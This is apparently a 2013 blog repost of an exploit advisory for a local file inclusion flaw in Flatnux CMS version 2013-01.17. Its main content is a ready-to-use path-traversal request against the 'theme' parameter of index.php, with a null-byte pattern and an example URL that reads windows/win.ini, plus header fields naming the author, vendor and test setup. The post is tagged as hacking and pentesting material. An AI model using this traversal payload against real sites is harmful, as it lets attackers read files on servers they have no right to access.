Flatnux CMS Local File Inclusion
Tuesday, 30 July 2013
##########################################
[~] Exploit Title: Flatnux CMS Local File Inclusion
[~] Date: 21-03-2013 
[~] Author: DaOne aka Mocking Bird 
[~] Vendor Homepage: http://flatnux.altervista.org/ 
[~] Software Link: http://flatnux.altervista.org/download.html?f=Flatnux-Next/flatnux-2013-01.17.zip 
[~] Category: webapps/php 
[~] Version: 2013-01.17 
[~] Tested on: Apache/2.2.8(Win32) PHP/5.2.6 
##########################################
# Exploit 
index.php?theme={localfile}{nullbyte} http://localhost/flatnux/index.php?theme=../../../../../../../../../../windows/win.ini 
# References
http://www.exploit-id.com/web-applications/flatnux-cms-local-file-inclusion#sthash.HwM1yoOk.dpuf
 
Tags:
Exploit, 
hack, 
Hacking, 
Pentesting
 
 
  
 
 
 
 
Comments[ 0 ]
Post a Comment